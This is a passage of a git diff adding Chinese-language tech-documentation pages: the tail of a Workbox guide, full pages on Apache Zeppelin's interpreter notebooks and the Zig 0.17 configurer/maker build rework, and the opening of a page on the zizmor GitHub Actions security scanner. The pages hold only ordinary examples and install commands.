skipWaiting、Unregister。 +2. **Cache Storage**:核对 precache 与 runtime 缓存名是否如预期。 +3. **Workbox 开发日志**:`self.__WB_DISABLE_DEV_LOGS = true` 可关;开发时保留日志能快速看出哪条 `registerRoute` 命中。 +4. **「改了代码用户还是旧版」**:检查是否 `skipWaiting` + `clientsClaim`,或是否忘了用 `workbox-window` 引导刷新。 +5. **配额超限**:配合 `workbox-expiration` 与 [Storage quota](https://developer.chrome.com/docs/workbox/how-to/storage-quota) 文档,避免 Cache Storage 被撑满。 + +## 常见误区 + +| 误区 | 事实 | +|------|------| +| Workbox = PWA 全部 | PWA 还包括 manifest、HTTPS、可安装性等;Workbox 主要管 **缓存与 SW** | +| precache 越多越好 | 安装阶段下载过多会拖慢**首次**访问 SW 安装时间 | +| 本地开发也要上 SW | 建议仅 production 注册,或用 `cacheId` 区分环境,否则 HMR 与缓存打架 | +| NetworkFirst 保证最新 | 有缓存时失败才用缓存;要强制新鲜请 NetworkOnly 或加 `cache: 'no-store'` | +| 只缓存 GET | Service Worker 默认只拦截 GET;POST 需 Background Sync 等额外方案 | + +## 学习路径建议 + +1. 先读 MDN [Service Worker 生命周期](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers),建立「代理」心智模型。 +2. 用 **GenerateSW** 在小型 Vite/React 项目里打开 PWA,观察 Application 面板里的 precache 列表。 +3. 改为 **InjectManifest**,亲手写 `registerRoute`,故意调换与 `precacheAndRoute` 的顺序,看匹配差异。 +4. 读官方 [Caching strategies](https://developer.chrome.com/docs/workbox/caching-strategies-overview) 与 [Precaching dos and don'ts](https://developer.chrome.com/docs/workbox/precaching-dos-and-donts)。 +5. 需要离线表单提交时,再深入 `workbox-background-sync`。 + +## 与其他技术的关系 + +- **原生 Cache API**:Workbox 底层仍用 `caches.open()`;Workbox 提供路由、策略、清理、manifest 注入。 +- **[[webpack]] / [[vite]]**:构建阶段生成 `__WB_MANIFEST`,与 Workbox 运行时库配合。 +- **HTTP 缓存**:Service Worker 缓存是**另一层**,优先级高于浏览器 HTTP 缓存;部署策略需同时考虑 `Cache-Control` 与 SW。 +- **[[nginx]] / CDN**:静态资源 hash 文件名 + CDN 长缓存 + SW precache 是常见「三层加速」组合。 + +## 小结 + +Workbox 把 Service Worker 里最易出错的三件事——**安装时预缓存、请求路由、策略选择**——收成可组合的模块和构建插件。零基础上手路径:**GenerateSW 跑通 → DevTools 看懂缓存 → InjectManifest 写自定义路由 → workbox-window 处理更新**。掌握之后,你就能在弱网场景下仍交付「像原生 App 一样能打开」的 Web 体验,而不必从零维护几百行 `fetch` 代理逻辑。 diff --git a/src/content/docs/projects/zeppelin.md b/src/content/docs/projects/zeppelin.md new file mode 100644 index 000000000..b6c9c57af --- /dev/null +++ b/src/content/docs/projects/zeppelin.md @@ -0,0 +1,307 @@ +--- +title: Apache Zeppelin — JVM 多语言笔记本 +来源: https://github.com/apache/zeppelin +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Apache Zeppelin** 是 Apache 软件基金会旗下的**多语言交互式数据分析笔记本**:在浏览器里写段落(paragraph),用 `%spark`、`%flink`、`%python`、`%jdbc` 等**解释器(interpreter)**直连 Spark、Flink、Hive、Presto、Shell 等后端,适合数据平台团队做 ad-hoc 查询、ETL 原型和结果可视化。它跑在 **JVM** 上(Scala/Java 实现),Notebook 存成 **JSON**(`.zpln` 或导出格式),与企业 Hadoop/YARN/K8s 集群集成是设计重心——和 [[jupyter-notebook]] 的「单 kernel Python 优先」、[[pluto-jl]] 的「Julia reactive 单文件」是不同赛道。 + +日常类比: + +> [[jupyterlab]] 像**个人实验室工作台**:你 mainly 绑一个 Python kernel,需要 Spark 时自己配 PySpark 或 Livy,扩展靠 pip/npm 插件。 +> Zeppelin 像**数据中心的多语种同声传译室**:同一份 Note 里,上一段用 `%spark.sql` 查 Hive,下一段 `%pyspark` 做清洗,再一段 `%md` 写结论——每种语言背后是一个**可独立配置、可连不同集群**的解释器进程;管理员在 Interpreter 设置里配好 YARN 地址、jar 包、并发模式,分析师只管 `%` 选语言开写。 + +最小上手(Docker 最快,官方镜像自带 Spark Tutorial): + +```bash +docker run -p 8080:8080 --name zeppelin apache/zeppelin:0.12.0 +# 浏览器打开 http://localhost:8080 +# Notebook → Spark Tutorial → 逐段 Run +``` + +本机安装则需 **JDK 11**(0.12.0 官方要求)、下载 Zeppelin 二进制包、`bin/zeppelin-daemon.sh start`,并在 **Interpreter** 菜单里配置 Spark/Flink 的 `master` 与依赖 jar。 + +## 为什么重要 + +Zeppelin 在大数据栈里占一个独特位置: + +- **多引擎统一 UI**:Spark、Flink、Hive、JDBC、Markdown、Shell 等同屏,适合数据平台「一个入口查天下」 +- **Interpreter 插件模型**:新引擎通过实现 `org.apache.zeppelin.interpreter` 接入,经 **Apache Thrift** 与 Zeppelin Server 通信 +- **企业部署形态成熟**:YARN client/cluster、Flink yarn-application、K8s、Livy 远程 Spark 等模式文档齐全 +- **可视化内置**:查询结果可绑 Table、Bar、Pie、Scatter 等 **Zeppelin Visualization**,比纯文本输出更适合给业务方看 +- **与 Jupyter 互补**:Jupyter 生态在 ML/AI、nbconvert、Colab 更强;Zeppelin 在 **已建好的 Spark/Flink 集群** 上交互更省事 + +不理解 Zeppelin,很难读懂很多公司的「数据开发平台」为什么 Notebook 模块选它而不是 Jupyter。 + +## 核心概念 + +Zeppelin 分三层,记牢就不迷路: + +```text +浏览器 Frontend ←REST/WebSocket→ Zeppelin Server (JVM) + │ + Thrift RPC │ 管理 Note / 调度 Paragraph + ▼ + Interpreter Process(es) (JVM,可多个) + │ + ▼ + Spark / Flink / Hive / … 集群 +``` + +### 1. Note 与 Paragraph + +- **Note**:一篇笔记本,含多个 **paragraph**(段落),可设默认 interpreter group +- **Paragraph**:最小执行单元,首行常用 `%spark`、`%spark.pyspark` 等声明语言;点 Run 或 Shift+Enter 执行 +- 段落可 **隐藏代码只展示结果**、拖拽排序、导出 HTML/PDF;Note 可放文件夹、权限控制(需配置 Shiro/LDAP 等) + +与 Jupyter cell 类似,但 Zeppelin **没有** Pluto/marimo 式全局 reactive——段落顺序与是否重跑由你手动控制,变量在**同一 interpreter session** 内共享(取决于 binding mode)。 + +### 2. Interpreter(解释器) + +**Interpreter** = 某种语言/引擎的后端插件。每个 interpreter 属于一个 **Interpreter Group**(如 `spark` 组含 `%spark`、`%spark.pyspark`、`%spark.sql`)。 + +| 常见 Group | 段落前缀示例 | 用途 | +|------------|--------------|------| +| spark | `%spark`、`%spark.pyspark`、`%spark.sql` | Spark Scala / PySpark / Spark SQL | +| flink | `%flink`、`%flink.pyflink`、`%flink.ssql` | Flink Scala / PyFlink / 流批 SQL | +| jdbc | `%jdbc` | 连 PostgreSQL、MySQL 等 | +| python | `%python` | 本地 Python(非 Spark) | +| sh | `%sh` | Shell 命令 | +| md | `%md` | Markdown 说明 | + +段落写法规则(官方 Overview): + +- `%spark` — 用 spark 组里第一个可用 interpreter +- `%spark.pyspark` — 指定组内具体 interpreter +- 可省略组名,仅 `%pyspark`(若默认组配置允许) +- 带本地属性:`%cassandra(outputFormat=cql, dateFormat="E, d MMM yy")` + +**Interpreter Setting** 是一组 interpreter 的配置与生命周期单元:同一 Setting 里的 interpreter **共享一个 JVM 进程**(除非 isolated per note 开新进程)。配置项里全大写名(如 `SPARK_HOME`)会注入为环境变量。 + +### 3. Binding Mode(绑定模式) + +决定「多份 Note / 多用户是否共享 SparkContext、Flink 集群连接」——这是 Zeppelin 运维最关键的概念之一。 + +| 模式 | 含义(per note scope 下) | +|------|---------------------------| +| **shared** | 所有 Note 共享同一 interpreter session(同一 SparkContext) | +| **scoped** | 每 Note 独立 session,但可仍共享同一 SparkApplication(fair scheduler 分作业) | +| **isolated** | 每 Note 独立 interpreter 进程 / 独立 SparkContext | + +还有 **per user** vs **per note** 两个维度。生产上 Flink/Spark 文档常建议:默认 `globally shared` 容易互相抢资源,**interactive 开发用 `isolated per note`**,避免 A 分析师 Cancel 作业把 B 的集群会话干掉。不同 Note 仍可通过 **ResourcePool** 共享对象,但变量不会自动串台。 + +### 4. ZeppelinContext 与跨语言共享 + +Spark 组内,`%spark` 定义的 Scala 变量可通过 **ZeppelinContext**(代码里常写 `z`)暴露给 `%spark.pyspark`;反之 PySpark 的 `df` 也可在 `%spark.sql` 里当 temp view 用。这实现了「一段 Scala UDF、一段 Python 清洗、一段 SQL 聚合」的混排流水线——比在多份 Jupyter kernel 之间 export parquet 更短。 + +### 5. 可视化与 Dynamic Form + +查询结果表格右侧可配置 **可视化**(柱状、折线、饼图等)。Paragraph 支持 **Dynamic Form**: + +- 模板语法:`${name=default}` 运行前弹出输入框 +- Note 级表单:`$${name=default}`(双 `$`)全 Note 段落可用 +- 编程式:`z.textbox("name")`、`z.select(...)`(Spark / PySpark 段落) + +适合参数化 SQL 而不改代码,或给运营一个「填数字就能查」的模板 Note。 + +### 6. 生命周期与恢复(0.8+) + +- **TimeoutLifecycleManager**:空闲超过阈值(默认 1 小时)自动关闭 interpreter,省集群资源 +- **Interpreter Process Recovery**(实验性):重启 Zeppelin Server 时可尝试重连仍在跑的 interpreter 进程,避免长作业被误杀 + +### 7. 与 Jupyter / Pluto / marimo 对比 + +| 维度 | Zeppelin | Jupyter | Pluto.jl / marimo | +|------|----------|---------|-------------------| +| 主场景 | 大数据集群交互 | 通用计算 / ML | Reactive 探索 | +| 语言切换 | `%` 前缀多 interpreter | 通常单 kernel | 单语言 | +| 状态模型 | 手动 Run + session 共享 | 手动 Run + hidden state | 自动 reactive | +| 存储 | JSON Note | `.ipynb` | `.jl` / `.py` | +| 运行时 | JVM + 子 JVM interpreter | 多 kernel 进程 | Julia/Python 进程 | + +## 实践案例 + +### 案例 1:Spark SQL + PySpark 混排 + +```sql +%spark.sql + +-- 段落 1:注册或查询(session 内 temp view 可跨段落) +CREATE OR REPLACE TEMP VIEW orders AS +SELECT * FROM parquet.`/data/orders`; + +SELECT country, COUNT(*) AS cnt +FROM orders +GROUP BY country +ORDER BY cnt DESC +LIMIT 10; +``` + +```python +%spark.pyspark + +# 段落 2:用 PySpark 读上一段逻辑产出的 view(同一 scoped session) +df = spark.table("orders") +from pyspark.sql import functions as F + +top = ( + df.groupBy("country") + .agg(F.sum("amount").alias("total")) + .orderBy(F.desc("total")) + .limit(5) +) +top.show() +``` + +若 binding 是 **shared**,Note A 里注册的 `orders` 可能被 Note B 看见或覆盖——团队共用实例时要选 **scoped/isolated per note**。 + +### 案例 2:Dynamic Form 参数化 SQL + +```sql +%spark.sql + +-- ${table=orders} ${limit=100} 运行前弹出表单 +SELECT country, SUM(amount) AS revenue +FROM ${table=orders} +GROUP BY country +ORDER BY revenue DESC +LIMIT ${limit=100} +``` + +```scala +%spark + +// 编程式表单:适合 Scala 段落 +val name = z.textbox("name", "world") +println(s"Hello, $name") +``` + +第一段给业务方「选表 + 限制行数」;第二段演示 `ZeppelinContext` API。表单值在重跑该段落时生效,不会自动级联更新下游——改参数后需手动 Run 依赖段落。 + +### 案例 3:Flink 流 SQL 段落 + +```text +%flink.ssql + +-- 段落 1:Flink 1.15+,local 或 remote 集群由 Interpreter 配置决定 +CREATE TABLE clicks ( + user_id STRING, + url STRING, + ts TIMESTAMP(3), + WATERMARK FOR ts AS ts - INTERVAL '5' SECOND +) WITH ( + 'connector' = 'kafka', + 'topic' = 'clickstream', + 'properties.bootstrap.servers' = 'kafka:9092', + 'format' = 'json' +); + +SELECT window_start, window_end, COUNT(*) AS pv +FROM TABLE( + TUMBLE(TABLE clicks, DESCRIPTOR(ts), INTERVAL '1' MINUTE) +) +GROUP BY window_start, window_end; +``` + +Flink interpreter 在 Zeppelin 侧是 **Flink Client**:编译 SQL、提交 job、展示进度;真正执行在 MiniCluster / Standalone / YARN / K8s。Cancel 段落会尝试取消对应 Flink job。 + +### 案例 4:Markdown 文档 + Shell 准备数据 + +```markdown +%md + +## 日报:活跃用户数 +下方段落从 HDFS 拉取昨日分区,Spark SQL 聚合。 +``` + +```bash +%sh + +hdfs dfs -ls /data/users/dt=$(date -d yesterday +%Y-%m-%d) | head +``` + +```sql +%spark.sql + +SELECT COUNT(DISTINCT user_id) AS dau +FROM users +WHERE dt = date_sub(current_date(), 1); +``` + +## 安装与上手 + +**Docker(零基础推荐):** + +```bash +docker run -p 8080:8080 --rm --name zeppelin apache/zeppelin:0.12.0 +# 持久化 notebook 与 logs: +docker run -u $(id -u) -p 8080:8080 --rm \ + -v $PWD/notebook:/notebook -v $PWD/logs:/logs \ + -e ZEPPELIN_NOTEBOOK_DIR=/notebook -e ZEPPELIN_LOG_DIR=/logs \ + --name zeppelin apache/zeppelin:0.12.0 +``` + +**本机二进制:** + +```bash +# 需 JDK 11,设置 JAVA_HOME +tar xzf zeppelin-0.12.0-bin-all.tgz +cd zeppelin-0.12.0-bin-all +bin/zeppelin-daemon.sh start +# 浏览器 http://localhost:8080 +# 远程访问:conf/zeppelin-site.xml 里 zeppelin.server.addr 改为 0.0.0.0 +``` + +首次登录建议顺序:跑 **Spark Tutorial** → 打开 **Interpreter** 页看 spark 组 → 新建 Note 写 `%md` + `%spark.sql` 三段落。 + +## 部署与运维要点 + +| 主题 | 建议 | +|------|------| +| 日志 | Server:`logs/zeppelin-*.log`;Interpreter:`logs/zeppelin-interpreter-*.log` | +| 资源隔离 | 生产用 **isolated per note** 或 per user;慎用的 globally shared | +| 依赖 jar | Interpreter 设置里配 `spark.jars` / `%spark(dep=...)` 或 `%spark(addjar=...)` | +| 并发 SQL | `zeppelin.spark.concurrentSQL=true` + fairscheduler 池 | +| 认证 | 配置 Shiro、LDAP、Knox 等(企业版常接 SSO) | +| 凭证 | Interpreter 开启 `injectCredentials` 后,Note 里 `{ENTITY.user}` 可替换为托管密码 | + +## 局限与踩坑 + +1. **不是 reactive notebook**——改上一段不会自动重跑下游;和 [[pluto-jl]]、[[marimo]] 心智不同 +2. **JSON Note diff 噪声大**——Git CR 不如纯 `.py` / `.jl` 友好 +3. **JVM 栈偏重**——轻量 Python ML 探索不如 Jupyter + venv 顺手 +4. **Interpreter 配置门槛高**——Spark/Flink 版本、Scala 二进制、YARN queue 配错则全 Note 失败 +5. **多用户共享实例**——binding mode 选错会导致变量串台或误 Cancel 他人 job +6. **版本耦合**——Flink interpreter 需 Flink 1.15+(见 0.12 文档);老集群需对齐 Zeppelin 发行版 + +## 学习路径建议 + +1. `docker run apache/zeppelin:0.12.0` → 跑通 **Spark Tutorial** 文件夹里所有 Note +2. 在 Interpreter 页观察 **spark** 组有哪些子 interpreter,改 binding mode 为 scoped per note 再对比 session +3. 写一个三段落 Note:`%md` 说明 + `%spark.sql` 聚合 + `%spark.pyspark` 画图 +4. 练习 Dynamic Form:`${limit=10}` 与 `z.textbox` 各写一段 +5. 若有 Flink 集群,按官方 Flink interpreter 文档配 remote/yarn 模式,跑 `%flink.ssql` +6. 与团队确认生产规范:谁管 Interpreter Setting、Note 是否允许 `%sh` + +## 小结 + +Apache Zeppelin 是**面向大数据平台的多语言笔记本**:用 `%` 解释器把 Spark、Flink、SQL、Shell 拼在同一 Note,用 binding mode 控制集群资源隔离,用内置可视化与 Dynamic Form 给业务看结果。它不适合替代 Jupyter 做通用 AI 实验,也不提供 Pluto 式 reactive;但在 **「集群已经有了,分析师要在浏览器里交互式写 Spark/Flink」** 这一环,Zeppelin 仍是常见选型。 + +--- + +## 参考资料 + +- 官方文档:[zeppelin.apache.org/docs/latest](https://zeppelin.apache.org/docs/latest/) +- 源码:[github.com/apache/zeppelin](https://github.com/apache/zeppelin) +- 安装:[Install](https://zeppelin.apache.org/docs/latest/quickstart/install.html) +- Interpreter 概览:[Overview](https://zeppelin.apache.org/docs/latest/usage/interpreter/overview.html) +- Binding Mode:[interpreter_binding_mode](https://zeppelin.apache.org/docs/latest/usage/interpreter/interpreter_binding_mode.html) +- Dynamic Form:[intro](https://zeppelin.apache.org/docs/latest/usage/dynamic_form/intro.html) +- Spark Interpreter:[spark.html](https://zeppelin.apache.org/docs/latest/interpreter/spark.html) +- Flink Interpreter:[flink.html](https://zeppelin.apache.org/docs/latest/interpreter/flink.html) +- 相关笔记:[[jupyter-notebook]]、[[jupyterlab]]、[[pluto-jl]]、[[marimo]] diff --git a/src/content/docs/projects/zig-build-rework.md b/src/content/docs/projects/zig-build-rework.md new file mode 100644 index 000000000..c43e89f2d --- /dev/null +++ b/src/content/docs/projects/zig-build-rework.md @@ -0,0 +1,291 @@ +--- +title: Zig Build System Reworked — 配置与执行分离的两段式构建 +description: Zig 0.17 将 build.zig 配置阶段与构建图执行拆成 configurer/maker 双进程,缓存序列化构建图并显著降低 zig build 开销 +来源: 'https://ziglang.org/learn/build-system/' +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:装修图纸与施工队分开 + +想象你要装修一套房子。老办法是:每次改一个开关位置,建筑师和施工队绑在同一辆面包车里出发——车又大又慢,而且只要改图纸,整辆车(含施工设备)都得重新发动一次。 + +**Zig Build System Reworked**(2026 年 5 月由 Andrew Kelley 合入 master,随 Zig 0.17 发布)把这件事拆成两段: + +1. **Configurer(配置员)**:读你的 `build.zig`,在 debug 模式下画出「施工图纸」——也就是构建图(build graph),然后把它**序列化**成二进制配置文件,交给父进程缓存。 +2. **Maker(施工队)**:读这份缓存图纸,用 **release 优化**后的独立进程真正编译、链接、跑测试。Maker 按 Zig 版本全局缓存,不必每个项目各编一份。 + +你只改业务代码、没动 `build.zig` 时,Configurer 可以整段跳过;只改运行参数(比如 `zig build run -- --verbose`)时,图纸不用重画,Maker 在执行阶段吃掉透传参数即可。官方 benchmark 里,`zig build --help` 墙钟时间从约 **150ms 降到 14.3ms**(约 90%),CPU 周期减少约 96%——说明「重复付配置税」这条路径被砍掉了。 + +这和 [[zig]] 语言「用 Zig 写构建脚本、不搞第二套 DSL」的哲学一致:变的是**怎么运行** `build.zig`,不是让你去学 CMake。 + +## 是什么 + +Zig 的构建系统把项目建模为**有向无环图(DAG)**:节点是 Step(编译、安装、跑测试、调外部工具等),边是依赖。用户入口是仓库根目录的 `build.zig`;若声明依赖,还有伴生清单 `build.zig.zon`(Zig Object Notation,`.zon` 扩展名)。 + +**Rework 之前**:`build.zig` 与构建系统实现被打包进**同一个 debug 构建 runner**,一次 `zig build` 既要执行用户脚本,又要跑完整张图。构建系统功能越多,这个合体进程越臃肿,每次动 `build.zig` 都要连带重编大块标准库构建代码。 + +**Rework 之后**: + +| 角色 | 做什么 | 编译模式 | 缓存粒度 | +|------|--------|----------|----------| +| Configurer | 执行 `build.zig`,产出序列化配置 | debug(迭代快) | 按项目 + 输入哈希 | +| Maker | 读配置,执行 Step | release(执行快) | 按 Zig 版本全局 | +| 父进程 `zig build` | 调度、缓存配置、选 Step | — | `.zig-cache/c/` 等 | + +序列化产物可通过 `zig build --print-configuration` 以 **ZON 文本**查看;工具链作者更推荐直接 mmap 二进制格式,用 `std.Build.Configuration` 加载——ZLS(Zig 语言服务器)等 IDE 集成不必再 fork 构建 runner 去「猜」项目结构。 + +## 为什么重要 + +1. **开发者内循环**:`--watch`、`--fuzz`、频繁 `zig build test` 时,配置阶段不能成为固定税。Configurer 变小 + 配置可缓存,让「改一行源码 → 重编」路径更干净。 +2. **可编程构建的边界更清晰**:构建脚本仍是 Turing 完备的 Zig,但**图构造(configure)**与**图执行(make)**分离后,哪些输入该让图失效、哪些只影响运行,有了硬规则——减少「改个 flag 却触发整图重算」的意外。 +3. **工具生态**:构建图变成可传递的 artifact,第三方工具(包索引、IDE、Nix 式包装生成器)可以**不执行**不可信 `build.zig` 就读到声明式依赖(`build.zig.zon`)或已配置图(序列化配置)。 +4. **与包管理协同**:`build.zig.zon` 里 `hash` 是依赖的**真源**(内容寻址),`url` 只是镜像;`zig build --fetch` 可预拉依赖树。Rework 让「先 fetch 声明式元数据、再 configure、再 make」的流水线更线性。 + +## 核心概念 + +### 1. Configure / Make 两阶段 + +- **Configure**:运行 `pub fn build(b: *std.Build) void`,注册 executable、test、install、run step 等。此阶段应只决定「图长什么样」。 +- **Make**:根据缓存的配置执行 Step(调编译器、链接器、子进程)。只影响执行、不影响图形状的 CLI 行为应落在这里。 + +典型例子:`-freference-trace` 这类只影响诊断输出的 flag,在新架构下不必为了它重跑 `build.zig`。 + +### 2. 序列化构建图(Configuration) + +Configurer 输出二进制配置(项目缓存在 `.zig-cache/c/` 一类路径下)。含义: + +- 同一份图可被 Maker 多次消费; +- 工具可用 `std.Build.Configuration` 只读解析,无需重新实现 build runner; +- 人可读调试:`zig build --print-configuration` 导出 ZON。 + +Zig 有意**减少**对 JSON 等非核心格式的编译器内建支持,倾向 ZON 或自家二进制——写 Zig 的工具直接用标准库 API 即可。 + +### 3. `build.zig.zon` 与内容哈希 + +`build.zig.zon` 是 `build.zig` 的**声明式附录**(包名、版本、依赖 URL/hash/path、`paths` 包含规则等)。要点: + +- **`hash`**:对包内文件(经 `paths` 过滤后)算出的指纹;包由 hash 标识,不由 URL 标识。 +- **`path`**:本地路径依赖,与 `url` 互斥,不算 hash。 +- **`paths`**:哪些文件算进包(空字符串 `""` 表示构建根目录本身)。 + +这让镜像、离线缓存、`file://` 协议与可重现构建站在同一套模型上。 + +### 4. 透传参数:`b.args` → `addPassthruArgs()` + +0.17 的**主要破坏性迁移点**:Configure 进程**看不到**父进程的 `b.args`。若你在 configure 里读透传参数来决定图结构,必须改成显式 `b.option` / `b.step` 选项;若只是转给 `zig build run -- --flag`,改用: + +```zig +run_cmd.addPassthruArgs(); +``` + +参数在 **Make 阶段**注入,不改变已缓存的图——这是性能与语义双赢,也是迁移时最常搜的关键词。 + +### 5. 与旧 API 的其它触碰点 + +Rework 伴随一轮 `std.Build` 清理(0.17 dev 分支上可见): + +- `b.build_root` → `b.root` 等命名统一; +- `FmtStep` 等路径参数向 `LazyPath` 列表迁移; +- 自定义 `Step.makeFn` 式步骤早已不推荐,**Run Step** 仍是扩展外部命令的正道。 + +官方口径是「API 层面大体非破坏」,但「聪明」的 `build.zig` 值得在 master 上提前跑一遍。 + +## 代码示例 + +### 示例 1:最小 `build.zig` + `build.zig.zon`(可缓存配置) + +`build.zig`——只声明一个可执行文件并安装: + +```zig +const std = @import("std"); + +pub fn build(b: *std.Build) void { + const target = b.standardTargetOptions(.{}); + const optimize = b.standardOptimizeOption(.{}); + + const exe = b.addExecutable(.{ + .name = "demo", + .root_module = b.createModule(.{ + .root_source_file = b.path("src/main.zig"), + .target = target, + .optimize = optimize, + }), + }); + + b.installArtifact(exe); + + const run_cmd = b.addRunArtifact(exe); + run_cmd.step.dependOn(b.getInstallStep()); + + if (b.args) |args| { + _ = args; // 0.17:不要在 configure 里读 b.args + } + run_cmd.addPassthruArgs(); // 0.17:透传 zig build run -- 之后的参数 + + const run_step = b.step("run", "Run the app"); + run_step.dependOn(&run_cmd.step); +} +``` + +`build.zig.zon`——声明包身份与(可选)远程依赖: + +```zon +.{ + .name = .demo, + .version = "0.1.0", + .fingerprint = 0x0, // 首次可用 zig fetch 生成正式 fingerprint + .minimum_zig_version = "0.17.0", + .dependencies = .{ + // .@"my-dep" = .{ + // .url = "https://example.com/my-dep.tar.gz", + // .hash = "1220abcd...", // 内容哈希,非 URL + // }, + }, + .paths = .{ + "build.zig", + "build.zig.zon", + "src", + }, +} +``` + +常用命令: + +```bash +zig build --fetch # 按 zon 拉依赖后退出 +zig build # configure(若需)+ make +zig build run -- --verbose # --verbose 在 make 阶段透传,不重画配置图 +zig build --print-configuration # 调试:导出 ZON 格式构建配置 +``` + +### 示例 2:依赖本地 path 与远程 hash 包 + +`build.zig` 里添加依赖模块: + +```zig +const std = @import("std"); + +pub fn build(b: *std.Build) void { + const target = b.standardTargetOptions(.{}); + const optimize = b.standardOptimizeOption(.{}); + + // 由 build.zig.zon 解析;path 依赖指向 ../shared-lib + const shared = b.dependency("shared", .{ + .target = target, + .optimize = optimize, + }); + + const mod = b.createModule(.{ + .root_source_file = b.path("src/main.zig"), + .target = target, + .optimize = optimize, + .imports = &.{ + .{ .name = "shared", .module = shared.module("shared") }, + }, + }); + + const exe = b.addExecutable(.{ .name = "app", .root_module = mod }); + b.installArtifact(exe); +} +``` + +`build.zig.zon` 片段——**path** 与 **url+hash** 二选一: + +```zon +.{ + .name = .app, + .version = "0.1.0", + .dependencies = .{ + .shared = .{ + .path = "../shared-lib", // 本地开发:不算 hash + }, + .@"zig-json" = .{ + .url = "https://codeberg.org/zig-json/zig-json/archive/master.tar.gz", + .hash = "1220...", // 必须匹配 paths 过滤后的内容 + }, + }, + .paths = .{ "build.zig", "build.zig.zon", "src" }, +} +``` + +设计意图:`url` 可换镜像,**`hash` 不变则包不变**;CI 与同事机器得到相同比特,而不依赖「某个 git 服务器今天是否在线」。 + +## 工作流程(新架构) + +```text +zig build [flags] + │ + ├─► 配置缓存命中? ──是──► 跳过 Configurer + │ │ + │ 否 + │ ▼ + │ Configurer (debug) + │ 执行 build.zig → 写二进制 Configuration + │ + ▼ +Maker (release, 全局缓存) + 读 Configuration → 按 DAG 执行 Step(编译/链接/测试/…) +``` + +与包管理: + +```text +build.zig.zon (声明依赖 hash/url/path) + │ + ▼ +zig build --fetch → 并行 Fetch 任务拉取并校验 hash + │ + ▼ +configure 阶段把依赖图缝进 import / module 表 +``` + +## 迁移清单(面向 0.17) + +1. 全文搜索 `b.args`:仅转发给 run step → `addPassthruArgs()`;用于决定 target/特性 → 改为 `b.option` 或独立 step。 +2. 在 master/dev 上跑 `zig build` 全矩阵(debug/release/cross),关注 `std.Build` 重命名。 +3. 更新 `build.zig.zon` 的 `fingerprint` 与 `minimum_zig_version`(0.17 对 fingerprint 计算规则有调整)。 +4. IDE/脚本若解析构建信息:优先 `zig build --print-configuration` 或 `std.Build.Configuration`,避免解析 `.zig-cache` 内部文件名(尚无稳定「打印路径」flag 时)。 +5. 自定义构建步骤:避免依赖已弃用的 `makeFn`;用 `addSystemCommand` / `addRunArtifact` 等 Run Step 组合。 + +## 与其它系统对照 + +| 维度 | Zig Rework | CMake | Cargo | +|------|------------|-------|-------| +| 构建描述语言 | Zig(`build.zig`) | CMake DSL | TOML + build.rs | +| 声明式锁文件 | `build.zig.zon` | 无一等 | `Cargo.lock` | +| 配置/执行分离 | Configurer / Maker 进程 | configure + generate 两阶段 | metadata 与编译单元划分不同 | +| 图的可序列化 | 二进制 Configuration + ZON 导出 | 生成器文件 | `cargo metadata` JSON | + +Zig 的选择是:**可编程**(build.zig)与**可声明**(build.zig.zon)并存,再把「跑脚本」的成本通过缓存和进程拆分压下去。 + +## 常见误区 + +- **误区**:「所有构建都会快 10 倍。」**事实**:大头是避免重复 configure;纯编译瓶颈仍在 LLVM/链接器。`zig build --help` 极快是因为几乎只做缓存读取。 +- **误区**:「`b.args` 只是改名。」**事实**:configure 阶段故意不可见透传参数;用参数改图结构必须显式建模。 +- **误区**:「没有 `build.zig.zon` 就不能用依赖。」**事实**:zon 是包管理与可重现 fetch 的入口;纯本地 monorepo 可以只有 `build.zig`。 +- **误区**:「工具必须解析二进制格式。」**事实**:人类用 `--print-configuration`;程序用 `std.Build.Configuration` 或自编译小助手读二进制。 + +## 延伸话题 + +- **ZLS / IDE**:序列化图减少「语言服务器 fork build runner」的需求,与 [[zig]] 工具链深度集成仍在演进。 +- **Nix / 发行版打包**:声明式 `build.zig.zon` + 可导出配置,利于生成下游包装而不执行任意 Zig 代码。 +- **编译器服务器**:社区讨论 `--listen`、结构化诊断等,与本次 rework 同属「构建即平台」方向。 +- **0.17 其它内容**:LLVM 22 升级等;相对 0.16 长周期,0.17 范围更集中,发布节奏更快。 + +## 小结 + +Zig Build System Reworked 不是给 `zig build` 打补丁,而是重新定义边界:**Configurer 画图纸、Maker 施工、父进程缓存图纸**。带来的直接收益是配置路径大幅变快;长期收益是构建图成为工具链的一等公民,并与 `build.zig.zon` 的内容寻址包管理同一套叙事。 + +若你正在维护 Zig 项目,在 0.17 稳定前用 master 试一次构建,并改掉 `b.args` 透传——往往就是一次 `addPassthruArgs()` 的事。若你在评估 Zig 做系统软件,这次 rework 说明:**可编程构建脚本**不必永远付出「每次启动都重跑 debug 巨进程」的代价。 + +## 参考 + +- [Zig Build System(官方教程)](https://ziglang.org/learn/build-system/) +- [Devlog:Build System Reworked(Ziggit 讨论)](https://ziggit.dev/t/devlog-build-system-reworked/15742) +- [build.zig.zon 文档(zig 仓库)](https://github.com/ziglang/zig/blob/master/doc/build.zig.zon.md) +- [PR #17392:rework package manager](https://github.com/ziglang/zig/pull/17392)(Fetch 任务与 zon paths 的历史背景) +- [PR #35428:separate maker from configurer](https://github.com/ziglang/zig/pull/35428)(2026 rework 主体) diff --git a/src/content/docs/projects/zizmor.md b/src/content/docs/projects/zizmor.md new file mode 100644 index 000000000..0df0f74fd --- /dev/null +++ b/src/content/docs/projects/zizmor.md @@ -0,0 +1,296 @@ +--- +title: zizmor — GitHub Actions 工作流静态安全分析 +来源: https://github.com/zizmorcore/zizmor +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +provenance: pipeline-v3 +--- + +## 是什么 + +**zizmor**(读作 /ˈzɪzmɔːr/,名字来自 Yiddish「干净」)是 William Woodruff 等人用 **Rust** 写的 **GitHub Actions 专用静态分析器(SAST)**。它不执行 workflow,也不连上你的 runner,只读 `.github/workflows/*.yml`、composite/Docker `action.yml`、以及可选的 `dependabot.yml`,在本地或 CI 里扫描已知漏洞模式。 + +日常类比: + +- **装修图纸审查员**:GitHub Actions workflow 像一份「自动装修图纸」——写清楚什么时候开工、用什么工具、谁能拿钥匙。zizmor 